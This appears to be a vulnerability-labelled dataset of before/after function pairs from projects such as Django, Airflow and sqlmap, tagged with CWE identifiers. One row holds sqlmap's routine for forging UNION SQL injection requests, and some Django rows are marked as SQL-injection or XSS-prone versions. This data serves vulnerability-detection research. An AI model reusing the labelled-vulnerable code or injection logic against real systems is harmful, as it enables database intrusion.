,UNKNOWN,UNKNOWN,helm_tests/airflow_aux/test_logs_persistent_volume_claim.py,1,"def test_should_not_generate_a_document_if_persistence_is_disabled(self):
        docs = render_chart(
            values={""logs"": {""persistence"": {""enabled"": False}}},
            show_only=[""templates/logs-persistent-volume-claim.yaml""],
        )

        assert len(docs) == 0",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_not_generate_a_document_if_persistence_is_disabled(self):
        docs = render_chart(
            values={""logs"": {""persistence"": {""enabled"": False}}},
            show_only=[""templates/logs-persistent-volume-claim.yaml""],
        )

        assert 0 == len(docs)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/transport/tcp.py,0,"def __init__(
        self,
        opts,
        host,
        port,
        url=None,
        io_loop=None,
        resolver=None,
        connect_callback=None,
        disconnect_callback=None,
        source_ip=None,
        source_port=None,
    ):
        salt.utils.versions.warn_until(
            3009,
            ""MessageClient has been deprecated and will be removed."",
        )
        self.opts = opts
        self.host = host
        self.port = port
        self.url = url
        self.source_ip = source_ip
        self.source_port = source_port
        self.connect_callback = connect_callback
        self.disconnect_callback = disconnect_callback
        self.io_loop = io_loop or tornado.ioloop.IOLoop.current()
        with salt.utils.asynchronous.current_ioloop(self.io_loop):
            self._tcp_client = TCPClientKeepAlive(opts, resolver=resolver)
        self._mid = 1
        self._max_messages = int((1 << 31) - 2)  # number of IDs before we wrap
        # TODO: max queue size
        self.send_queue = []  # queue of messages to be sent
        self.send_future_map = {}  # mapping of request_id -> Future

        self._read_until_future = None
        self._on_recv = None
        self._closing = False
        self._closed = False
        self._connecting_future = tornado.concurrent.Future()
        self._stream_return_running = False
        self._stream = None

        self.backoff = opts.get(""tcp_reconnect_backoff"", 1)
        self.callbacks = {}
        self.unpacker = salt.utils.msgpack.Unpacker()
        self._read_in_progress = Lock()
        self.task = None
        self.tcp_client = None",,saltstack/salt,a04fe85ffa5aa3a562fae63bcce17335fbe6d939,"def __init__(
        self,
        opts,
        host,
        port,
        url=None,
        io_loop=None,
        resolver=None,
        connect_callback=None,
        disconnect_callback=None,
        source_ip=None,
        source_port=None,
    ):
        salt.utils.versions.warn_until(
            3008,
            ""MessageClient has been deprecated and will be removed."",
        )
        self.opts = opts
        self.host = host
        self.port = port
        self.url = url
        self.source_ip = source_ip
        self.source_port = source_port
        self.connect_callback = connect_callback
        self.disconnect_callback = disconnect_callback
        self.io_loop = io_loop or tornado.ioloop.IOLoop.current()
        with salt.utils.asynchronous.current_ioloop(self.io_loop):
            self._tcp_client = TCPClientKeepAlive(opts, resolver=resolver)
        self._mid = 1
        self._max_messages = int((1 << 31) - 2)  # number of IDs before we wrap
        # TODO: max queue size
        self.send_queue = []  # queue of messages to be sent
        self.send_future_map = {}  # mapping of request_id -> Future

        self._read_until_future = None
        self._on_recv = None
        self._closing = False
        self._closed = False
        self._connecting_future = tornado.concurrent.Future()
        self._stream_return_running = False
        self._stream = None

        self.backoff = opts.get(""tcp_reconnect_backoff"", 1)
        self.callbacks = {}
        self.unpacker = salt.utils.msgpack.Unpacker()
        self._read_in_progress = Lock()
        self.task = None
        self.tcp_client = None"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/overlays/mac/macho.py,0,"def __init__(self, theType, offset, vm, name = None, **kwargs):
        self.cached_strtab   = None   
        self.cached_symtab   = None
        self.cached_dysymtab = None
        self.cached_syms     = None
        self.load_diff       = 0

        macho.__init__(self, 1, ""macho32_header"", ""macho64_header"", theType, offset, vm, name, **kwargs)    
      
        if self.macho_obj:
            self._build_symbol_caches()
            self.calc_load_diff()",,volatilityfoundation/volatility,782372bc160398ffbe3ec202da21200033565f64,"def __init__(self, theType, offset, vm, name = None, **kwargs):
        self.cached_strtab   = None   
        self.cached_symtab   = None
        self.cached_dysymtab = None
        self.cached_syms     = None
        self.load_diff       = 0

        macho.__init__(self, 1, ""macho32_header"", ""macho64_header"", theType, offset, vm, name, **kwargs)    
        
        self._build_symbol_caches()
        self.calc_load_diff()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/evaluation/utils.py,0,"def _get_assessments_dataframe_schema() -> Dict[str, Any]:
    """"""
    Returns the schema for the assessments DataFrame.
    """"""
    return {
        ""evaluation_id"": ""string"",
        ""name"": ""string"",
        ""source"": ""object"",
        ""timestamp"": ""int64"",
        ""boolean_value"": ""object"",
        ""numeric_value"": ""object"",
        ""string_value"": ""object"",
        ""rationale"": ""object"",
        ""metadata"": ""object"",
        ""error_code"": ""object"",
        ""error_message"": ""object"",
    }",,mlflow/mlflow,95ae042a089a9ea3f14daf85dcdf5eb916aaf4ea,"def _get_assessments_dataframe_schema() -> Dict[str, Any]:
    """"""
    Returns the schema for the assessments DataFrame.
    """"""
    return {
        ""evaluation_id"": ""string"",
        ""name"": ""string"",
        ""source"": ""object"",
        ""timestamp"": ""int64"",
        ""boolean_value"": ""object"",
        ""numeric_value"": ""object"",
        ""string_value"": ""object"",
        ""rationale"": ""object"",
        ""metadata"": ""object"",
    }"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/hooks/test_gcs.py,1,"def test_delete_nonexisting_bucket(self, mock_service, caplog):
        mock_service.return_value.bucket.return_value.delete.side_effect = exceptions.NotFound(
            message=""Not Found""
        )
        test_bucket = ""test bucket""
        with caplog.at_level(logging.INFO):
            self.gcs_hook.delete_bucket(bucket_name=test_bucket)
        mock_service.return_value.bucket.assert_called_once_with(test_bucket, user_project=None)
        mock_service.return_value.bucket.return_value.delete.assert_called_once()
        assert ""Bucket test bucket not exist"" in caplog.text",CWE-703,apache/airflow,b0234cbaf73bdf28640b77e2f1c378d5c489b26a,"def test_delete_nonexisting_bucket(self, mock_service, caplog):
        mock_service.return_value.bucket.return_value.delete.side_effect = exceptions.NotFound(
            message=""Not Found""
        )
        test_bucket = ""test bucket""
        with caplog.at_level(logging.INFO):
            self.gcs_hook.delete_bucket(bucket_name=test_bucket)
        mock_service.return_value.bucket.assert_called_once_with(test_bucket, user_project=None)
        mock_service.return_value.bucket.return_value.delete.assert_called_once()
        assert ""Bucket test bucket not exist"" in caplog.text"
,UNKNOWN,UNKNOWN,django/db/backends/postgresql/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        # Query the pg_catalog tables as cursor.description does not reliably
        # return the nullable property and information_schema.columns does not
        # contain details of materialized views.
        cursor.execute(""""""
            SELECT
                a.attname AS column_name,
                NOT (a.attnotnull OR (t.typtype = 'd' AND t.typnotnull)) AS is_nullable,
                pg_get_expr(ad.adbin, ad.adrelid) AS column_default,
                CASE WHEN collname = 'default' THEN NULL ELSE collname END AS collation
            FROM pg_attribute a
            LEFT JOIN pg_attrdef ad ON a.attrelid = ad.adrelid AND a.attnum = ad.adnum
            LEFT JOIN pg_collation co ON a.attcollation = co.oid
            JOIN pg_type t ON a.atttypid = t.oid
            JOIN pg_class c ON a.attrelid = c.oid
            JOIN pg_namespace n ON c.relnamespace = n.oid
            WHERE c.relkind IN ('f', 'm', 'p', 'r', 'v')
                AND c.relname = %s
                AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
                AND pg_catalog.pg_table_is_visible(c.oid)
        """""", [table_name])
        field_map = {line[0]: line[1:] for line in cursor.fetchall()}
        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        return [
            FieldInfo(
                line.name,
                line.type_code,
                line.display_size,
                line.internal_size,
                line.precision,
                line.scale,
                *field_map[line.name],
            )
            for line in cursor.description
        ]",CWE-89,django/django,e387f191f76777015b6ea687ce83cdb05ee47cee,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        # Query the pg_catalog tables as cursor.description does not reliably
        # return the nullable property and information_schema.columns does not
        # contain details of materialized views.
        cursor.execute(""""""
            SELECT
                a.attname AS column_name,
                NOT (a.attnotnull OR (t.typtype = 'd' AND t.typnotnull)) AS is_nullable,
                pg_get_expr(ad.adbin, ad.adrelid) AS column_default
            FROM pg_attribute a
            LEFT JOIN pg_attrdef ad ON a.attrelid = ad.adrelid AND a.attnum = ad.adnum
            JOIN pg_type t ON a.atttypid = t.oid
            JOIN pg_class c ON a.attrelid = c.oid
            JOIN pg_namespace n ON c.relnamespace = n.oid
            WHERE c.relkind IN ('f', 'm', 'p', 'r', 'v')
                AND c.relname = %s
                AND n.nspname NOT IN ('pg_catalog', 'pg_toast')
                AND pg_catalog.pg_table_is_visible(c.oid)
        """""", [table_name])
        field_map = {line[0]: line[1:] for line in cursor.fetchall()}
        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        return [
            FieldInfo(
                line.name,
                line.type_code,
                line.display_size,
                line.internal_size,
                line.precision,
                line.scale,
                *field_map[line.name],
            )
            for line in cursor.description
        ]"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_autolog.py,1,"def test_langchain_autolog_callback_injection_in_stream(invoke_arg, generate_config):
    mlflow.langchain.autolog(log_models=True, extra_tags={""test_tag"": ""test""})
    config = generate_config()
    with mlflow.start_run() as run, _mock_request(return_value=_mock_chat_completion_response()):
        model = create_openai_llmchain()
        # convert iterator to list to materialize the stream compute
        if invoke_arg == ""args"":
            next(model.stream(""MLflow"", config))
        elif invoke_arg == ""kwargs"":
            next(model.stream(""MLflow"", config=config))
    run_data = MlflowClient().get_run(run.info.run_id).data
    assert run_data.tags[""test_tag""] == ""test""
    assert run_data.tags[""mlflow.autologging""] == ""langchain""
    callbacks = config[""callbacks""]
    expected_logs = [""chain_start"", ""chain_end""]
    if isinstance(callbacks, BaseCallbackManager):
        assert callbacks.handlers[0].logs == expected_logs
    else:
        assert callbacks[0].logs == expected_logs",CWE-703,mlflow/mlflow,88b677e88de759e9db3eb2ac1c395631a98bd9d0,"def test_langchain_autolog_callback_injection_in_stream(invoke_arg, generate_config):
    mlflow.langchain.autolog(log_models=True, extra_tags={""test_tag"": ""test""})
    config = generate_config()
    with mlflow.start_run() as run, _mock_request(return_value=_mock_chat_completion_response()):
        model = create_openai_llmchain()
        # convert iterator to list to materialize the stream compute
        if invoke_arg == ""args"":
            next(model.stream(""MLflow"", config))
        elif invoke_arg == ""kwargs"":
            next(model.stream(""MLflow"", config=config))
    run_data = MlflowClient().get_run(run.info.run_id).data
    assert run_data.tags[""test_tag""] == ""test""
    assert run_data.tags[""mlflow.autologging""] == ""langchain""
    callbacks = config[""callbacks""]
    expected_logs = [""chain_start"", ""chain_end""]
    if isinstance(callbacks, BaseCallbackManager):
        assert callbacks.handlers[0].logs == expected_logs
    else:
        assert callbacks[0].logs == expected_logs"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/serializers/json.py,0,"def Deserializer(stream_or_string, **options):
    """"""
    Deserialize a stream or string of JSON data.
    """"""
    if not isinstance(stream_or_string, (bytes, six.string_types)):
        stream_or_string = stream_or_string.read()
    if isinstance(stream_or_string, bytes):
        stream_or_string = stream_or_string.decode('utf-8')
    try:
        objects = json.loads(stream_or_string)
        for obj in PythonDeserializer(objects, **options):
            yield obj
    except GeneratorExit:
        raise
    except Exception as e:
        # Map to deserializer error
        raise DeserializationError(e)",CWE-Unknown,django/django,7d0f8831922535502569a5dda989dde339b4e491,"def Deserializer(stream_or_string, **options):
    """"""
    Deserialize a stream or string of JSON data.
    """"""
    if isinstance(stream_or_string, bytes):
        stream_or_string = stream_or_string.decode('utf-8')
    try:
        if isinstance(stream_or_string, six.string_types):
            objects = json.loads(stream_or_string)
        else:
            objects = json.load(stream_or_string)
        for obj in PythonDeserializer(objects, **options):
            yield obj
    except GeneratorExit:
        raise
    except Exception as e:
        # Map to deserializer error
        raise DeserializationError(e)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/workflows.py,0,"def __init__(self, **kwargs):
        if kwargs.get(""delegate_to"") is not None:
            raise RuntimeError(
                ""The `delegate_to` parameter has been deprecated before and finally removed in this version""
                "" of Google Provider. You MUST convert it to `impersonate_chain`""
            )
        super().__init__(**kwargs)",CWE-Unknown,apache/airflow,9c4a9d7947879a3bfab85ef32b8afcfa77fdd871,"def __init__(self, **kwargs):
        if kwargs.get(""delegate_to"") is not None:
            raise RuntimeError(
                ""The `delegate_to` parameter has been deprecated before and finally removed in this version""
                "" of Google Provider. You MUST convert it to `impersonate_chain`""
            )
        super().__init__(**kwargs)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/transfers/bigquery_to_gcs.py,0,"def _prepare_configuration(self):
        source_project, source_dataset, source_table = self.hook.split_tablename(
            table_input=self.source_project_dataset_table,
            default_project_id=self.hook.project_id,
            var_name=""source_project_dataset_table"",
        )

        configuration: dict[str, Any] = {
            ""extract"": {
                ""sourceTable"": {
                    ""projectId"": source_project,
                    ""datasetId"": source_dataset,
                    ""tableId"": source_table,
                },
                ""compression"": self.compression,
                ""destinationUris"": self.destination_cloud_storage_uris,
                ""destinationFormat"": self.export_format,
            }
        }

        if self.labels:
            configuration[""labels""] = self.labels

        if self.export_format == ""CSV"":
            # Only set fieldDelimiter and printHeader fields if using CSV.
            # Google does not like it if you set these fields for other export
            # formats.
            configuration[""extract""][""fieldDelimiter""] = self.field_delimiter
            configuration[""extract""][""printHeader""] = self.print_header
        return configuration",CWE-Unknown,apache/airflow,2d690de110825ba09b9445967b47c44edd8f151c,"def _prepare_configuration(self):
        source_project, source_dataset, source_table = self.hook.split_tablename(
            table_input=self.source_project_dataset_table,
            default_project_id=self.project_id or self.hook.project_id,
            var_name=""source_project_dataset_table"",
        )

        configuration: dict[str, Any] = {
            ""extract"": {
                ""sourceTable"": {
                    ""projectId"": source_project,
                    ""datasetId"": source_dataset,
                    ""tableId"": source_table,
                },
                ""compression"": self.compression,
                ""destinationUris"": self.destination_cloud_storage_uris,
                ""destinationFormat"": self.export_format,
            }
        }

        if self.labels:
            configuration[""labels""] = self.labels

        if self.export_format == ""CSV"":
            # Only set fieldDelimiter and printHeader fields if using CSV.
            # Google does not like it if you set these fields for other export
            # formats.
            configuration[""extract""][""fieldDelimiter""] = self.field_delimiter
            configuration[""extract""][""printHeader""] = self.print_header
        return configuration"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/websocket_test.py,0,"def test_websocket_network_fail(self):
        sock, port = bind_unused_port()
        sock.close()
        with self.assertRaises(IOError):
            with ExpectLog(gen_log, "".*"", required=False):
                yield websocket_connect(
                    ""ws://127.0.0.1:%d/"" % port, connect_timeout=3600
                )",CWE-Unknown,tornadoweb/tornado,fb22de0d3eae58cd8ff2b439299440445b1d6e9b,"def test_websocket_network_fail(self):
        sock, port = bind_unused_port()
        sock.close()
        with self.assertRaises(IOError):
            with ExpectLog(gen_log, "".*""):
                yield websocket_connect(
                    ""ws://127.0.0.1:%d/"" % port, connect_timeout=3600
                )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target URL is
    # affected by an exploitable union SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = ""%s%s%s"".lower() % (kb.chars.start, randQuery, kb.chars.stop)
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.escape(randQueryProcessed)

        # Forge the union SQL injection request
        query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or """")

        if content and phrase in content:
            validPayload = payload
            kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
            vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = ""%s%s%s"".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)

                # Confirm that it is a full union SQL injection
                query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = ""%s%s"".lower() % (page or """", listToStrValue(headers.headers if headers else None) or """")

                if not all(_ in content for _ in (phrase, phrase2)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates)
                elif not kb.unionDuplicates:
                    fromTable = "" FROM (%s) AS %s"" % ("" UNION "".join(""SELECT %d%s%s"" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), """"), "" AS %s"" % randomStr() if _ == 0 else """") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())

                    # Check for limited row output
                    query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
                    payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                    # Perform the request
                    page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                    content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
                        removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
                        payload, True) or """")
                    if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
                        warnMsg = ""output with limited number of rows detected. Switching to partial mode""
                        logger.warn(warnMsg)
                        vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)

            unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()

            if unionErrorCase and count > 1:
                warnMsg = ""combined UNION/error-based SQL injection case found on ""
                warnMsg += ""column %d. sqlmap will try to find another "" % (position + 1)
                warnMsg += ""column with better characteristics""
                logger.warn(warnMsg)
            else:
                break

    return validPayload, vector",,sqlmapproject/sqlmap,33b6d189cd5ea63e56016f9158394b113c75c290,"def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target URL is
    # affected by an exploitable union SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = ""%s%s%s"".lower() % (kb.chars.start, randQuery, kb.chars.stop)
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.escape(randQueryProcessed)

        # Forge the union SQL injection request
        query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or """")

        if content and phrase in content:
            validPayload = payload
            kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
            vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = ""%s%s%s"".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)

                # Confirm that it is a full union SQL injection
                query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = ""%s%s"".lower() % (page or """", listToStrValue(headers.headers if headers else None) or """")

                if not all(_ in content for _ in (phrase, phrase2)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
                elif not kb.unionDuplicates:
                    fromTable = "" FROM (%s) AS %s"" % ("" UNION "".join(""SELECT %d%s%s"" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), """"), "" AS %s"" % randomStr() if _ == 0 else """") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())

                    # Check for limited row output
                    query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
                    payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                    # Perform the request
                    page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                    content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
                        removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
                        payload, True) or """")
                    if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
                        warnMsg = ""output with limited number of rows detected. Switching to partial mode""
                        logger.warn(warnMsg)
                        vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)

            unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()

            if unionErrorCase and count > 1:
                warnMsg = ""combined UNION/error-based SQL injection case found on ""
                warnMsg += ""column %d. sqlmap will try to find another "" % (position + 1)
                warnMsg += ""column with better characteristics""
                logger.warn(warnMsg)
            else:
                break

    return validPayload, vector"
,UNKNOWN,UNKNOWN,django/utils/crypto.py,1,"def pbkdf2(password, salt, iterations, dklen=0, digest=None):
        """"""
        Implements PBKDF2 as defined in RFC 2898, section 5.2

        HMAC+SHA256 is used as the default pseudo random function.

        As of 2014, 100,000 iterations was the recommended default which took
        100ms on a 2.7Ghz Intel i7 with an optimized implementation. This is
        probably the bare minimum for security given 1000 iterations was
        recommended in 2001. This code is very well optimized for CPython and
        is about five times slower than OpenSSL's implementation. Look in
        django.contrib.auth.hashers for the present default, it is lower than
        the recommended 100,000 because of the performance difference between
        this and an optimized implementation.
        """"""
        assert iterations > 0
        if not digest:
            digest = hashlib.sha256
        password = force_bytes(password)
        salt = force_bytes(salt)
        hlen = digest().digest_size
        if not dklen:
            dklen = hlen
        if dklen > (2 ** 32 - 1) * hlen:
            raise OverflowError('dklen too big')
        L = -(-dklen // hlen)
        r = dklen - (L - 1) * hlen

        hex_format_string = ""%%0%ix"" % (hlen * 2)

        inner, outer = digest(), digest()
        if len(password) > inner.block_size:
            password = digest(password).digest()
        password += b'\x00' * (inner.block_size - len(password))
        inner.update(password.translate(hmac.trans_36))
        outer.update(password.translate(hmac.trans_5C))

        def F(i):
            u = salt + struct.pack(b'>I', i)
            result = 0
            for j in range(int(iterations)):
                dig1, dig2 = inner.copy(), outer.copy()
                dig1.update(u)
                dig2.update(dig1.digest())
                u = dig2.digest()
                result ^= _bin_to_long(u)
            return _long_to_bin(result, hex_format_string)

        T = [F(x) for x in range(1, L)]
        return b''.join(T) + F(L)[:r]",CWE-703,django/django,0a63ef3f61f42c5fd22f2d0b626e386fd426ebed,"def pbkdf2(password, salt, iterations, dklen=0, digest=None):
        """"""
        Implements PBKDF2 as defined in RFC 2898, section 5.2

        HMAC+SHA256 is used as the default pseudo random function.

        As of 2014, 100,000 iterations was the recommended default which took
        100ms on a 2.7Ghz Intel i7 with an optimized implementation. This is
        probably the bare minimum for security given 1000 iterations was
        recommended in 2001. This code is very well optimized for CPython and
        is about five times slower than OpenSSL's implementation. Look in
        django.contrib.auth.hashers for the present default, it is lower than
        the recommended 100,000 because of the performance difference between
        this and an optimized implementation.
        """"""
        assert iterations > 0
        if not digest:
            digest = hashlib.sha256
        password = force_bytes(password)
        salt = force_bytes(salt)
        hlen = digest().digest_size
        if not dklen:
            dklen = hlen
        if dklen > (2 ** 32 - 1) * hlen:
            raise OverflowError('dklen too big')
        l = -(-dklen // hlen)
        r = dklen - (l - 1) * hlen

        hex_format_string = ""%%0%ix"" % (hlen * 2)

        inner, outer = digest(), digest()
        if len(password) > inner.block_size:
            password = digest(password).digest()
        password += b'\x00' * (inner.block_size - len(password))
        inner.update(password.translate(hmac.trans_36))
        outer.update(password.translate(hmac.trans_5C))

        def F(i):
            u = salt + struct.pack(b'>I', i)
            result = 0
            for j in range(int(iterations)):
                dig1, dig2 = inner.copy(), outer.copy()
                dig1.update(u)
                dig2.update(dig1.digest())
                u = dig2.digest()
                result ^= _bin_to_long(u)
            return _long_to_bin(result, hex_format_string)

        T = [F(x) for x in range(1, l)]
        return b''.join(T) + F(l)[:r]"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_ssh_gss.py,0,"def _run(self):
        self.socks, addr = self.sockl.accept()
        self.ts = paramiko.Transport(self.socks)
        host_key = paramiko.RSAKey.from_private_key_file(_support(""rsa.key""))
        self.ts.add_server_key(host_key)
        server = NullServer()
        self.ts.start_server(self.event, server)",,paramiko/paramiko,63fd01aa39b0d7cba587380a61b38590004c755d,"def _run(self):
        self.socks, addr = self.sockl.accept()
        self.ts = paramiko.Transport(self.socks)
        host_key = paramiko.RSAKey.from_private_key_file(""tests/rsa.key"")
        self.ts.add_server_key(host_key)
        server = NullServer()
        self.ts.start_server(self.event, server)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/units/modules/network/nxos/test_nxos_evpn_vni.py,0,"def test_nxos_evpn_vni_present(self):
        set_module_args(dict(vni='6000',
                             route_target_import='5000:10',
                             state='present'))
        result = self.execute_module(changed=True)
        self.assertEqual(result['commands'], ['evpn',
                                              'vni 6000 l2',
                                              'route-target import 5000:10',
                                              'no route-target import auto'])",,ansible/ansible,e2e6e14644c985fb6bad7e31e100148cfb25543d,"def test_nxos_evpn_vni_present(self):
        set_module_args(dict(vni='6000',
                             route_target_import='5000:10',
                             state='present'))
        result = self.execute_module(changed=True)
        self.assertEqual(result['commands'], ['evpn',
                                              'vni 6000 l2',
                                              'route-target import 5000:10'])"
,UNKNOWN,UNKNOWN,django/utils/numberformat.py,1,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """"""
    Gets a number (as a number or string), and returns it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping > 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(six.text_type(number))
    # sign
    sign = ''
    str_number = six.text_type(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        int_part_gd = ''
        for cnt, digit in enumerate(int_part[::-1]):
            if cnt and not cnt % grouping:
                int_part_gd += thousand_sep
            int_part_gd += digit
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part",CWE-79,django/django,319e1355190d414ee1b095b26fbb494cf9a27578,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """"""
    Gets a number (as a number or string), and returns it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping > 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(six.text_type(number))
    # sign
    if float(number) < 0:
        sign = '-'
    else:
        sign = ''
    str_number = six.text_type(number)
    if str_number[0] == '-':
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        int_part_gd = ''
        for cnt, digit in enumerate(int_part[::-1]):
            if cnt and not cnt % grouping:
                int_part_gd += thousand_sep
            int_part_gd += digit
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part"
